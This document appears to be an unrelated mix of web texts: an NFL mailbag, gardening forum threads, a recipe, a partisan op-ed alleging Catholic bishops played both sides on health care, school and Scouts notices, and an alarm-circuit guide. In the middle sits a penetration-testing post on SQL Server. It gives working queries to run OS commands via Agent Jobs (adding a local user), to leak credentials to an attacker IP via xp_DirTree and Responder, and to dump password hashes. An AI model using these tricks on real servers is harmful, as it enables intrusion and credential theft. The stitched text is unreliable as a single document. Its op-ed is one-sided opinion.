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Not only are five rookie quarterbacks starting, but several others are in key backup rules. Undrafted Austin Davis is backing up Sam Bradford in St. Louis for the moment. Nick Foles beat out Mike Kafka for the backup job in Philadelphia. The Broncos kept Caleb Hanie, but it wouldn't surprise anyone if Brock Osweiler gets the nod.
Quarterback decisions were some of the most interesting aspects of the league's cutdown to 53. As was proven in free agency, teams are downsizing their investments in backups. What was becoming a $4 million to $5 million position is heading toward the $2 million or below range.
And teams aren't afraid to go young. The Patriots let go of Brian Hoyer and his $1.927 million salary and moved Ryan Mallett into the backup role. One interesting decision still remains in Buffalo. Do the Bills keep Tarvaris Jackson as the backup or Tyler Thigpen or both? Thigpen makes $2.5 million. Jackson agreed to a pay cut that gives him a $1.75 million salary and a weekly roster bonus that could add up to another $250,000.
Jackson ended up costing about the same as Vince Young, so you figure Jackson has the edge.
As important as the quarterback position is, it amazes me that so many teams kept only two quarterbacks on the 53-man roster. More than a dozen teams did it this year. But it's a gamble. What if two quarterbacks get hurt in a game? Coaches can talk about having a player designated as an emergency quarterback, but to use him in game conditions could be costly.
I still give credit to the Cowboys and Bears for trying to maintain experienced backups. After Jon Kitna retired, the Cowboys signed Kyle Orton, who is good enough to start. After Hanie's failures in Chicago, the Bears signed Jason Campbell, who has been spectacular in practice and games.
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Q: The NFL and the referees' union still have not agreed on terms. The NFL during the interim is willing to use replacement referees. Recently there have been a couple of high-profile lawsuits from former players regarding how the NFL is responsible for players' mental health. You have mentioned that with the new referees the games might not be at a standard that we are accustomed. Why is the NFL willing to lower the standard we have come to enjoy over a small amount of money? Also, with the replacement referees, do you believe injuries will rise?
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Adam in Owings Mills, Md., keeps hearing talk about the Patriots going undefeated. That's not happening this year. Sure, they have the easiest schedule. But there will be two or three losses along the way. They are still the No. 1 seed in the AFC in my eyes. DJP in Tacoma, Wash., is concerned about the Seahawks starting rookie quarterback Russell Wilson. It is a concern, but he won the job. I would have set up the competition so Matt Flynn won it because he didn't do poorly and he has started a couple of NFL games. The beginning of the schedule is tough, and the Seahawks need to win against good teams. We'll see how the rookie does. Eric in Milwaukee doesn't pin all the problems of the Packers' secondary on poor play. He points out Tramon Williams and Sam Shields had off years, but they also put some of the blame on the lack of a pass rush. Apparently, the Packers agreed and brought in Nick Perry as an outside linebacker to help the pass rush. They should be better, but it may take some time for the young players to feel comfortable. Benjamin in Newark, N.J., is getting tired of hearing about Mark Sanchez and Tim Tebow, but he also admits he's a Giants fan. Hey, the Tebow trade brought plenty of attention to the franchise. I don't think that attention will translate into wins. Matt in New York asks if the Cardinals should start looking outside the organization for a new quarterback. He suggests Matt Moore. I suggest that they play it out with John Skelton and Kevin Kolb. If the season doesn't work out, then they can look to the draft to fix the problem. A bad season could give them a high draft choice in the first round. Brennan in Minneapolis thinks the Lions should look to Ryan Grant as an option for the backfield. He has been available all summer. You get the idea the Lions don't think he's the answer to their problems. They've played him two times a year, so they know him pretty well. Chris in Atlanta wonders if the Falcons should have been more aggressive going after help on the offensive line and at defensive end. As you know, they gave up so much to get WR Julio Jones, they didn't have enough draft choices to help the line too much. They re-signed John Abraham after bringing in Ray Edwards last year. They have to make that work. Jamin in Winnipeg throws out a quick question: "Do you see the Browns' new owner going after Bill Cowher?'' He could, but I don't think he will. Bob in the Philippines is confused about the Packers' recent release of Anthony Hargrove. He knows the Packers wouldn't have to pay Hargrove during his eight-week suspension, so keeping him for that time might have been a consideration. He thought the Packers could bring him back at midseason as a fresh veteran to help the depth. The Packers apparently felt they had enough depth along the defensive line. If they want him back, they could sign him at midseason. Trigg in Charlotte, N.C., wonders if people are overlooking the Panthers and Cam Newton this season. Many might be. I don't see them making the playoffs, but they are a contender. Pawel in Pittsburgh wonders how far behind Mike Wallace is after his holdout. He's catching up and should be fine. He'll be better if he can get a long-term deal in the next few days.
A: It's debatable whether the replacement officials will have an impact on injuries, but the topic is on the table as long as the real officials are locked out. The bigger problem is the efficiency of the game. The replacement officials continue to have problems placing the ball at the right spot. They need too many conferences to get calls correct. As expected, they aren't up to the right standards. The NFL needs to get a deal done. The stakes are too important.
Q: Although Jerry Jones has proclaimed his roster spot safe, do you think it's time Jerry starts exploring trade options for Felix Jones? He's in a contract year, Lance Dunbar and Phillip Tanner performed well in back-to-back training camps and lit it up in the preseason, and the Lions are in desperate need of running back help. Could we get a mid-to-late-round pick for him?
Naad in Los Angeles
A: A mid-to-late-round pick would do nothing for the Cowboys. The clock is ticking on this team. They need to win now and they need to have as much talent as possible on the team now. They don't need to worry about getting lower draft picks. Jones may be disappointing but he's talented. In this league, you need two or three good backs. Look at the Lions -- they used two high draft choices on running backs and now are in the market to make moves to fix the position.
Q: I keep hearing all this hype about the Texans and I'm not getting it or buying it. They lost their two best defenders in DeMeco Ryans and Mario Williams. Generally when you subtract the two best players from one side of the ball, you don't get better. Their offense is based around two good RBs but an aging (31) and fragile No. 1 WR with no legitimate No. 2 WR, no consistent production at TE and a QB coming off an injury. This is the makings of what some have projected as possibly the best team in the AFC?
Steve in Charlotte, N.C.
A: With Williams missing a majority of the season the Texans were one of the best defenses in football last year. The move to the 3-4 defense devalued Williams, and you could say the same for Ryans. But look at the division -- the AFC South has three young quarterbacks starting. The Texans are solid in every area. They run the ball well. They have an accurate quarterback (Matt Schaub). I haven't bought into the notion they are the best team in the AFC, but they are the best team in the AFC South and should make the playoffs.
Q: I'm confused. What's the difference between the new IR rule and the PUP list?
Jon G. in Washington, D.C.
A: The physically unable to perform list is established at the beginning of training camp. You have to pass the team physical to be able to practice. If a player hasn't passed that physical, the team has the option of putting him on PUP-reserve list and then bringing him back at least six weeks into the regular season. The new injured reserve rule gives a team a chance to designate one player who has a serious injury and bring him back after about eight weeks. When you think PUP, think about passing the physical.
Q: Why do quarterbacks always get credited with wins? I understand that in this age of the NFL the quarterback is the most important position, but he does not always win the game for the team. For example, Alex Smith won 13 games last year. But really, the 49ers won 12 games with an outstanding defense, good running game and offensive system designed to cut down on turnovers. Really, Smith was just a glorified game manager.
Austin in Chapel, Fla.
A: It's the fourth quarter that is now defining the game and that's when the great quarterbacks control the game. That's when a quarterback can start running a two-minute, no-huddle offense and win games. Eli Manning is the classic example of that. Only six quarterbacks have won Super Bowl rings since 2003. That should say something to back up that point. The Jets had a good two-year run with Mark Sanchez, who did a decent job of managing the game. The Jets had great defense and a good running game. The Jets didn't win, and so far, Smith hasn't won that Super Bowl ring, either.
Q: Are you aware of any "dictates" from the league to the replacement officials as to the preferred way to judge certain types of (close) plays? I watch every preseason game I can find and have convinced myself that the replacement officials are allowing DBs to get away with more bumping and grabbing of WRs than the real officials have in years. And you know what? I like it. Particularly on one-on-one deep balls, the DBs are being given the opportunity to go after the ball as aggressively as the WRs (which technically is permissible but has rarely been called that way recently) without drawing a flag. Thoughts?
Michael in Indianapolis
A: I don't think there are any "dictates." The surprising news is that there were more penalties this summer with the replacement officials than there were with the regulars. My initial thought was that the replacement officials wouldn't throw many flags, but they have surprised with how many they have thrown. The reason you are seeing more contact is because more teams are using man-to-man press. I like that, too. It will be interesting to see what is called during the regular season.
Q: How concerned should the Dolphins be about Jake Long's knee injury? He never missed a start in his first three seasons, but last year he had back and biceps injuries and now a knee injury. He's a free agent next year and the Dolphins drafted Jonathan Martin, who was a left tackle at Stanford. What should the organization do?
Eric in Virginia Beach, Va.
A: I don't think they are too worried. The plan is for him to play in Week 1. He's on a week-by-week basis. As an organization, the Dolphins need to sign him to a long-term contract. He's arguably their best player. This team already has traded Brandon Marshall and Vontae Davis. They had corners to cover for Davis, but no one to cover for Marshall. Getting the draft choices is one thing, but if the team doesn't start building talent, there will be a new front office in place to make those picks. The Dolphins drafted Martin to be a right tackle.
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Acquisition of Smith from 49ers could have Chiefs QB on the move again. Terry McCormick
The New York Jets could have some interest in Brady Quinn, says ESPN.
The apparent connection is the friendship Quinn, currently with the Kansas City Chiefs, has with new Jets quarterbacks coach David Lee.
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Drag racing is quite similar to Need for speed, but it does not have any driving in it and the graphics layout is also different. As the name suggests, it is a race between two cars going down in a straight way. The aim is to beat an artificially controlled enemy in order to win the race. The core gameplay is simple. You start with a low budget car which is obviously not the best, but it will help you going in your first race. When the girl in the middle waves her flag, the race starts. Press the accelerator pedal in prior so as to build up enough speed and as the race starts, press it again to get a flying start. Once the race starts, you need to focus on the speedometer and change gear which can be done by pressing '+' key to shift up and '-' key to shift down a gear located on either side of the steering wheel. The game is divided up into several levels consisting of various races. You can race against a pro, amateur and beginner. As you win races and make progress, you will earn more money. Now you can upgrade your car or you can completely buy a more expensive and higher performance car by spending the money you win. Besides cash you will have to earn respective points as well. They are essential for more advanced car upgrades and painting the cars. But you can only earn them by defeating boss battles and winning online races. Thus drag racing is a challenging game. Moreover you can also challenge other players online in different modes like Pro League and Driver's Battle. The game offers realistic sound tracks and music, amazing 3D graphics, realistic controls and fantastic racing animation. All these features makes drag racing a must have for your android.
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I'm interested in redoing my center section to give it more of a curb appeal. Can you help me generate some ideas or tell me what I should do to bring it out more. I already have my mind made up on incorpating steps behind the center sections (Pic 2). |
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Remove the overgrown shrubs near the foundation. The windows are becoming covered. It seems that there is quite a variety of different plants, (from this picture) . Sometimes less variety and some repetition is more appealing. A different angle as suggested may help get a better idea. Also can you id any of the plants, does this face south, ( full sun) what is your planting zone? |
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The groundcover portion of the bed could look pretty decent if it didn't have weeds, the dead spots were healed and it had a precise edge. But the shrub portion would be better off started over as there is such a random sampling of plants. Some 6' ht. mounding shrubbery at the left side would help compensate for the slope. But at the R side foundation, it would probably be less than half that height. Now, your entrance area (including the steps) is screened from view. I'd let that show. You could stand to have a flowering tree at the left side of the house, maybe somewhat forward, as the house looks naked over there. Incorporate it into a bed that ties in with the front bed. Some street trees (that you kept limbed up) would help to frame the view and add a pleasant character to the yard and neighborhood. |
On the seconds photo I would like to incorporate brick steps, which leads to the side of the house thru the gate which you see on the first photo. |
- Posted by plantman56 z6 PA (My Page) on Thu, May 23, 13 at 22:22
All the shrubs and trees are located in one bed in front of the house without regard to how large they will get, or what they look like together. Eventually they will over grow their spot. And do nothing to complement your home. There are many nice shrubs and trees (like the Japanese maple near front window) that should be removed and replanted where it can grow to its full size. This will take a professional contractor to move and replant. My first suggestion would be to have a contractor come in and give you an estimate on the brick steps and path. Do your hardscaping first. I expect it will be very expensive. This is not a do it yourself project, After you get your bid and decide if it is in your budget, Install the steps and walk. Then after all the digging is done, I would consider finding a professional landscaper designer. He can see the entire landscape. We can't tell from your photo which ones need what. . A designer will be able to tell you which plants can grow in your location, how much room they need, how big they will get, place them so they complement your home and have a sense of rhythm and balance. I asked for a phot of the entire house left to right , so I could see the plants on the left and the right, The landscape needs some balance, but cant't tell that from the photos provided. We use professionals to build the house and this one looks GREAT , but wont use a professional for the landscape. The best advise I can give is to ask someone to come to your home and look at what you have. I have sent you a link to a very nice blog I found while surfing the internet. that a landscape designer has created. It shows you all the steps a professional considers before doing a design. Please look over. I suspect that if you get a person to help you with this project you will be very satisfied. Happy Planting |
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My Version of Pronto Mama's Slow Roasted Tomatoes in a Spicy Vinaigrette
1 April 2013 in Easy to prepare, Economical, Jams & Preserves, Uncategorized, Vegetarian
"Imitation is the sincerest form of flattery"
There is a range of sauces by Pronto Mama that are simply delicious, sadly they don't appear to be available here in Natal. So when every baby tomato plant opted to ripen all-of-a-sardine I decided to attempt to replicate their Slow Roasted Cherry Tomatoes in a Spicy Vinaigrette with Rosemary.
The label clearly states what is used in the preparation but them dastardly devious folk refrain from telling you exactly what herbs and spices were used!
This is not a recipe as such, it's just wot I done innit……
I sliced my cherry tomatoes in half, roughly chopped some red pepper, chucked in an unpeeled clove of garlic, drizzled everything with olive oil, sprinkled with sugar, salt and pepper and few tiny sprigs of rosemary.
Then I slowly roasted them for 2 hours @ 95c
(discard the blackened rosemary after cooking)
Next step was the vinaigrette, which as long as you stick to the base of 3 parts oil to 1 part vinegar you can add anything you like.
I used:
150 oil
50 vinegar
1/4 tsp mustard powder
2 tsp my homemade chilli jam or you could use fresh chilli (to your taste)
1 tsp honey
1 clove garlic cooked and crushed
1/4 teaspoon fresh rosemary chopped
Whisk everything together, season to taste and set aside.
Chop half a small onion and some olives.
Pack the cooked tomatoes, onion and olives into clean jars and top with the vinaigrette, cover with lids and leave to steep for a couple of weeks.
Did I achieve the same delightful taste of Pronto Mama? of course not, but I was very pleased with what evolved. It's especially good on pizza or bruschetta, great as part of a mezze platter or with pasta, the uses are endless. Once you have used all the filling, the oil that remains makes a wonderful salad dressing.
I was not remunerated for writing this post in any way and I do hope the good people at Pronto Mama will forgive me for even thinking I could re-create their product……but you can't blame a girl for trying!
I topped this Easy Cheese Slice with a dollop and it was really lekker (South African for really good)


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Once year ago this month, I bought my house on the Alabama Gulf Coast (I'm on the north side of Mobile), and the house came with enormous sago palms (I think). I am a newcomer to the south, having grown up in Indiana, so during this spring's late frosts, I thought to cover my garden seedlings, but I didn't even think about the palms. As you can see in the image I have attached, the palms look pretty bad. So, experienced Gulf-Coast gardeners, how can I tell if my palms are dead? If they are alive, what's the best strategy for removing the dead branches (fronds?). If dead, what's the best way to remove the whole plant? |
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- Posted by purpleinopp 8b AL (My Page) on Wed, Apr 2, 14 at 13:30
They do that around here too when winter is cold. Last winter they stayed green. Yours should be OK. Looks like it's still got some green near the middle? The old fronds can be cut close to the base. You'll want some leather gloves to handle them, if you hadn't already decided that. New growth should start poking from the top soon if it's still alive. |
- Posted by b.joy.bear 10 (My Page) on Wed, Apr 2, 14 at 17:55
Thanks, purpleinopp! I'll pull out my gloves this weekend and see if I can lop off the old fronds. |
And long sleeves and jeans! They sure are sharp! |
I just want to follow up to this by mentioning (only because many don't know), sago palms are poisonous to cats and dogs. I had to rip up about 6 in my yard because my dog wouldn't stay away. If I remember correctly, they can cause liver failure...but I don't remember for sure. I believe they might also be poisonous to humans too, but only when digested. So make sure you wear gloves and wash your hands. :) |
- Posted by purpleinopp 8b AL (My Page) on Thu, May 8, 14 at 17:22
Any signs of life yet? Just saw the first greenery on one of these a few days ago. And something that may not be good, another one with no green on top, but a pup sticking out awkwardly from the base at ground level. Not dead, but not the right "landscape shape" anymore. |
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Come and engage with 1000 attendees and over 100 speakers at the Personalized Medicine World Conference (PMWC) 2014 Silicon Valley, co-hosted with Stanford Hospital & Clinics and Oracle on January 27-28. The seventh annual Conference gathers disparate players from the industry, payor, regulatory, provider and research arenas. This year, there will be a new track for patient education in addition to the traditional Track 1 (plenary sessions), Track 2 (company showcase and focused discussions), Track 3 (startup competition) and exhibition hall.
One of the Program sessions will be on the implementation of actionable personalized medicine - no small feat - in a variety of healthcare provider settings. Attendees will hear from leading institutions (e.g. Icahn Institute at Mount Sinai, Stanford Hospital & Clinics and Intermountain Healthcare) about how they have started to design clinical practices to make personalized medicine, when appropriate, the standard of care. Also featured will be the timely and relevant session on Best Practices for Achieving Coverage & Reimbursement, where expert speakers like Sean Tunis from CMTP, Ira Klein from Aetna and other early implementers/adopters will cover this critical subject in detail.
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By Cliff Kincaid
March 23, 2010
Last November we noted that, through the Stupak amendment, the Catholic Bishops guaranteed passage of Obamacare through the House of Representatives. The Bishops put on a big show this time around, saying that they were opposed to the House passing the Senate health care bill without similar Stupak language. In the end, Stupak, a "pro-life Catholic Democrat," made a deal, once again guaranteeing passage of the bill in the House. It's difficult to believe the Bishops were not in on it.
This is because, as we also revealed in late January, a personal representative of the Bishops explained during a conference call in favor of health care legislation and "comprehensive immigration reform" that it was all about money. Kevin Appleby, director of the Bishops' Office of Migration Policy and Public Affairs, said the Bishops wanted a national health care plan funded by taxpayers to pick up the costs associated with covering the illegal aliens coming to the Catholic hospitals.
It's impossible to believe, in the final analysis, that Stupak betrayed the Bishops. Catholic Church lobbyists were working hand-in-glove with Stupak from the start.
Even as they were issuing press releases insisting that the bill had to be more pro-life, the Bishops were reiterating that they have been for national health legislation all along and that they wanted to see it changed to cover more immigrants. "Universal coverage should be truly universal," they said. In other words, they wanted it to be more expansive and expensive. They don't think Obama and the Democrats went far enough!
In the same letter calling for tougher pro-life language, the Bishops called for "undocumented immigrants" to be allowed to buy health insurance under the federal plan.
Stupak says his deal with Obama over abortion funding, in the form of an Executive Order, reaffirms that the Hyde amendment "could not be circumvented and that no taxpayer dollars would be used to pay for health plans that cover abortion." Democrats for Life of America supported the deal.
Pro-life conservatives and Republicans disagree. But the point is that the bill has pro-life cover. One can expect the Bishops, now that the legislation has passed, to officially fall into line as well and start talking about holding Obama's "feet to the fire" and so on. It will be more pro-life rhetoric. Meanwhile, Catholic hospitals will be wildly feeding at the public trough.
While commentators speculate as to whether Stupak was in favor of health care legislation all along and was always intending to vote for it, the real attention should be on the Bishops. They were playing the double-game, acting as if the legislation had to be toughened-up in order to be more pro-life, while insisting it be expanded to cover more immigrants. They were sounding conservative and liberal at the same time. All along they were active players because, in the end, they wanted to see national health care legislation passed.
On Friday, Richard Doerflinger, associate director of the United States Conference of Catholic Bishops' Secretariat of Pro-Life Activities, was part of a conference call in opposition to House passage of the Senate bill on pro-life grounds. He was asked about a group of Catholic nuns endorsing the bill and expressed his opinion that they were ignorant about how abortion would be funded on the federal level through the Senate bill. I asked why he or other Catholic Church lobbyists or the Bishops themselves hadn't educated them about the issue. He had no coherent explanation.
When I asked why the five Catholic lobbyists involved in passing the original Stupak language were not being sent to explain to the nuns why the legislation was deficient, he took issue with the number of church lobbyists that were reported to have been working on Capitol Hill. Whatever the number, the Bishops know how to lobby and make their views known. But they clearly permitted Catholic groups like NETWORK, "a national Catholic social justice lobby," to support the legislation, even without pro-life language.
"NETWORK congratulations [sic] the U.S. House of Representative for passing the historic healthcare reform legislation," the group proclaims. "This is a remarkable time in our nation's history as we finally take concrete steps to bring healthcare to tens of millions of people who have been denied this essential right."
The conclusion is inescapable that the Bishops were playing both sides of the street, so that, no matter what happened, they could work with the winning side. The Obama executive order gives them cover, too.
The health care debate, with either side citing this or that Catholic group, has proven that the Catholic Church is exercising far too much influence over the national affairs of the United States. If Marxism is coming to America, it has a Catholic imprint.
The Catholic Church is quickly moving ahead to pass a bill to grant amnesty to illegal aliens. It is significant that on Sunday, as national health care legislation was passing the House, the Catholic Bishops were promoting a rally on the National Mall in Washington, D.C. to force congressional passage of "comprehensive immigration reform." The rally was preceded by a Mass in support of immigrants with celebrants Cardinal Mahony and Bishop Wester at St. Aloysius Catholic Church in Washington, D.C.
The Center for Community Change (CCC), supported by hundreds of thousands of dollars from the Open Society Institute of George Soros, organized the demonstration, operating through the front group called "Reform Immigration for America." The CCC has also been supported by the Catholic Campaign for Human Development, an arm of the Catholic Bishops. John Carr, the Bishops' director for justice, peace and human development, once sat on the board of the CCC.
One of the key sponsors of the pro-amnesty rally was the Catholic Legal Immigration Network, an organization established by the Bishops which has received at least $530,000 from the Open Society Institute.
Germonique R. Ulmer, CCC director of media relations, denied this columnist press credentials to cover the rally, saying, "I've been informed by trusted sources that you are not a legitimate news gathering operation."
I went anyway and took a series of photos of the demonstrators and the assorted Marxists who were there passing out their Spanish-language pro-communist literature. The demonstrators carried many different signs, one of them saying, "Catholic Campaign for Immigration Reform," with a reference to "Justice for Immigrants" in smaller letters. The "Justice for Immigrants" project is officially sponsored by the Catholic Bishops.
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Potato's, Backed, Salad,
Steak, Port,
Cookies and Cream Ice-cream YUM!


text: The Winona Area Public School Board Wednesday named three finalists after an entire afternoon interviewing six candidates for Superintendent of Schools. Four different committees, including one representing the school board, took turns interviewing the candidates. After hearing feedback from the committees on the candidates and their own discussion and vote, the board chose Stephen Flisk, Stephen West and Patrick Sweeney to invite back next week. Board member Steve Schild says all the candidates were well qualified. Schild says the second round of 90 minutes interviews February 18th and 19th will give the board a chance to go into more detail with the three finalists. Following the final interview next Wednesday evening, the board will select a final candidate to offer the job to. Flisk is the current associate superintendent of the Minneapolis Public Schools, West is the director of education services at the Eden Prairie Schools and Sweeney is currently the assistant superintendent at the Paradise Valley Public School District.


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Since 2003 a large part of my workday has been devoted solely to hacking systems. Over this time I've collected tons of tricks and tips that are useful for penetration testing, and plan to write a number of posts to share them. Keep watching SpiderLabs blog! :)
This is the first post in the "Wendel's Small Hacking Tricks" series and is devoted to Microsoft SQL Server Hacking.
*** How to execute OS commands when xp_cmdshell was removed AND necessary DLLs deleted ***
You will find tons of references about how to re-enable xp_cmdshell stored procedure if it was disabled. The recent versions of Microsoft SQL Server comes with xp_cmdshell stored procedure disabled by default, and all that you need to do to re-enable is execute the following commands with an administrative account.
EXEC sp_configure 'show advanced options',1;
EXEC sp_configure 'xp_cmdshell',1;
But what if xp_cmdshell was removed?
You will need to re-create it using sp_addextendedproc and the associated DLL. For Microsoft SQL Server 2000 you will need to execute one the following queries:
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
EXEC sp_addextendedproc xp_cmdshell, 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
However, if the associated DLL file was deleted you need to find another way. This trick may save you hours of research :)
There are different ways, but I like to use Agent Job feature. I suggest installing sqsh (Linux), or another robust MSSQL client, to execute the following query:
DECLARE @jobID uniqueidentifier, @cmd varchar(1000)
SET @cmd = 'net user SpiderLabs TW-SPL5562 /ADD'
EXEC msdb.dbo.sp_add_job @job_name = '_tmp_MakeDirectory', @enabled = 1, @start_step_id = 1, @owner_login_name='sa', @job_id = @jobID OUTPUT
EXEC msdb.dbo.sp_add_jobstep @job_id = @jobID, @step_name = 'Create Backup Folder', @step_id = 1, @subsystem = 'CMDEXEC', @command = @cmd
EXEC msdb.dbo.sp_add_jobserver @job_id = @jobID
EXEC msdb.dbo.sp_start_job @job_id = @jobID, @output_flag = 0
IF EXISTS (SELECT name FROM msdb.dbo.sysjobs WHERE name = '_tmp_MakeDirectory')
EXEC msdb.dbo.sp_delete_job @job_name = '_tmp_MakeDirectory'
OK, this code is not simple as call xp_cmdshell, but it will do the same (execute OS commands). Just replace the line "SET @cmd = 'net user SpiderLabs TW-SPL5562 /ADD'" with the command that you want to execute. The example code once executed will create a local user called SpiderLabs and password TW-SPL5562.
*** How to escalate privileges on MSSQL via stored procedure + UNC ***
Basically we will setup a rogue SMB authentication server to steal credentials and force the Microsoft SQL Server database to connect to us and leak their credential. You may want to use SMB Relay attack instead, it's up to you.
1) Start Responder Tool (https://github.com/SpiderLabs/Responder) from my friend Laurent Gaffie or whatever you want.
2) Execute the following stored procedure:
EXEC Master.dbo.xp_DirTree "\\YourIP\x",1,1;
You just need to replace "YourIP" with the IP address of the system (attacker machine) running Responder tool.
At this point a SMB connection from Microsoft SQL Server was sent to your IP address (attacker controlled machine).
You may try downgrade attacks to use HALFLM rainbow tables or SMB relay attack to obtain access to another system with this credential.
There are tons of other stored procedures that leak Microsoft SQL Server credential via SMB, but it's your homework. :)
*** How to dump local MS-SQL server hashes from a Windows system if you don't have access to this database ***
First of all you need to have administrative access on the Windows system.
From the cmd.exe just type the following command for MSSQL 2000:
osql -E -Q "SELECT name,password from master.dbo.sysxlogins"
From the cmd.exe just type the following command for MSSQL 2005:
osql -E -Q "SELECT name,password_hash FROM sys.sql_logins"
The tool "osql" is installed with Microsoft SQL Server and the option "-E" will try to authenticate on the database with your current Windows login account.
You are able to execute any command that you want, just to illustrate we dumped the Microsoft SQL Server password hashes.
Microsoft recommends Windows Authentication and consequently this trick will work often. In other words, own the Operating System and obtain win the database as a bonus. :)
I hope you have enjoyed.
Stay tuned for more Wendel's Small Hacking Tricks.


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Welcome to our youth and parent area. Your unit has chosen the Trail's End popcorn sale as its major fundraising activity for the year. By selling Trail's End popcorn not only will your unit be able to raise all the money it needs so that you can have a GREAT, FUN year but you can also earn AWESOME prizes just by selling!! Spend some time looking through this site. You will find all kinds of great information and a lot of fun things to do.
Being successful in the popcorn sale is all about setting realistic goals. We recommend that you set a goal for the number of items you sell. For example, set a goal for yourself to sell, say, 30 items of popcorn. Now break that goal down. Give yourself 6 weeks to sell. That is 5 items per week that you need to sell to reach your goal of 30. Put a chart up in your room and keep track each day of how close you are to reaching your weekly sales goal. 30 items too easy? Set a goal of 50! Sit down with your parents and talk about your goal. Remember, the more popcorn you sell the better the prize you earn and the better your year in Scouting will be!
And talking about prizes, we're giving away 7 prizes a week! The Denver Area Council will hold weekly drawing for boys, please fax/drop-off/mail/scan/email a copy of their popcorn order sheet(s) that are filled up with sales! Boys can enter as many times as they fill up a sheet (one chance per sheet). They are eligible only for the week they submit their form. All forms will then be held until the end of the sale and put in a drawing for the Grand Prize. Check out all the neat prizes here!
Once again, the Denver Area Council and the Denver Broncos are partnering together to provide a Bronco for a Day Experience. Boy's that sell $1000+ in popcorn (includes Door to Door, Show and Sell, and Online Sales) are eligible to come out to the experience. The date is still yet to be set, but to get your name on the list, please fill out the Popcorn Bronco Sales Card.
2014 Popcorn Bronco For a Day Experience Flyer
The Trail's End site has great information for families. Safety information, product information, advancement information, tips on how to sell a lot of popcorn and information on the scholarship program can be found there. Look around, have fun, and sell lots of popcorn!


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ACA President Bradley T. Erford has sent a letter on behalf of the association to the Council for Accreditation of Counseling and Related Educational Programs providing feedback on the first draft of the 2016 CACREP accreditation standards. ACA applauds the focus on clarification, simplification, and unification and endorses the proposed requirement to standardize all counseling programs, regardless of specialty, at 60 credits. ACA also proposes an end to the student affairs program area and to continue the requirement to maintain membership in ACA and its divisions.
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The American Counseling Association would like to thank the members of the ACA CACREP Revision Task Force for their assistance: Simone Lambert (Chair), Retta Brown, Gary Goodnough, Julian McCullough, and MJ Raleigh.


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SNAP to it
While the news about obesity and WIC kids is encouraging, even more progress could be realized through a little tinkering with food stamps, or the Supplemental Nutrition Assistance Program as it's officially known, which helps feed a record 50 million Americans.
On the day after Christmas, Times food writer Mark Bittman had a piece titled "Stop subsidizing obesity," in which he suggests an interesting approach to emphasize the nutritional aspect of the program's mission to feed hungry Americans.
Bittman's proposed solution: essentially apply the tried-and-true retail grocery strategy of double coupons to food stamps.
New York and some other cities have programs that double the value of food stamps for purchases at farmers markets, and Bittman suggests applying that increase in spending power for food stamps used to buy fresh fruits and vegetables and other healthy foods, not just in farmers markets but in supermarkets and everywhere food is purchased.
The USDA currently finances a similar pilot program — known as the Health Incentives Pilot — in Hampden County, Mass., but it is scheduled to end soon, Bittman writes.
It's a worthy idea, and one produce trade groups on the legislative front lines such as United Fresh Produce Association ought to consider championing.
Given the bitterly divided Congress, getting anything done in D.C. will be a grind, even something as seemingly non-controversial as improving Americans' diets.
Contending with the influence of grain/meat/dairy interests in federal food and agriculture is always a tough fight.
But the produce industry's legislative victories in recent years and stronger-than-ever backing from the executive branch certainly give it some momentum to take a run at it.
It's time to double food stamps for fresh produce.
What's your take? Leave a comment and tell us your opinion.


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UM3561 IC Based Security Alarm
This switch, when hidden under the floor mat, triggers an alarm when the person walks over it. Mat switch can be used as a security measure in a restricted area. Just put the switches beneath the mat after regular intervals so that when anybody who puts his feet on switch will engage the alarm.
This circuit is built around the CMOS UM3561 IC which is mostly used in toys and alarms because of its low cost and power saving ability.
1 The circuit does not consume the battery current in standby mode therefore lead to longer battery life.
2 You can also stabilize 9V DC mains adaptor in place of the battery.
Assemble the circuit and mount the switches under the mat. When anyone presses the switch, the signals are provided to the base of the transistor T1. The base voltage of transistor T1 increases in comparison to emitter voltage and T1 starts conducting. Conduction mode in T1 makes transistor T2 to start conducting which in turn switches on the MOSFET BS170. This will provide the supply to IC1 Pin 5 which makes the output pin 3 of IC1 high. This high is provided to Darlington pair transistor T4, T5 and the loudspeaker connected to it starts sounding. We have connected the Zener diode at pin 5 of IC1 because the operating voltage of UM3561 varies from 3V to 4.5V therefore excess voltage may damage the IC.
In the circuit, UM3561 IC generates a tone similar to police siren and resistor R6 is used to control its oscillation. You can also increase the number of switches to increase the capability of the circuit. (Also check the luggage security alarm circuit)
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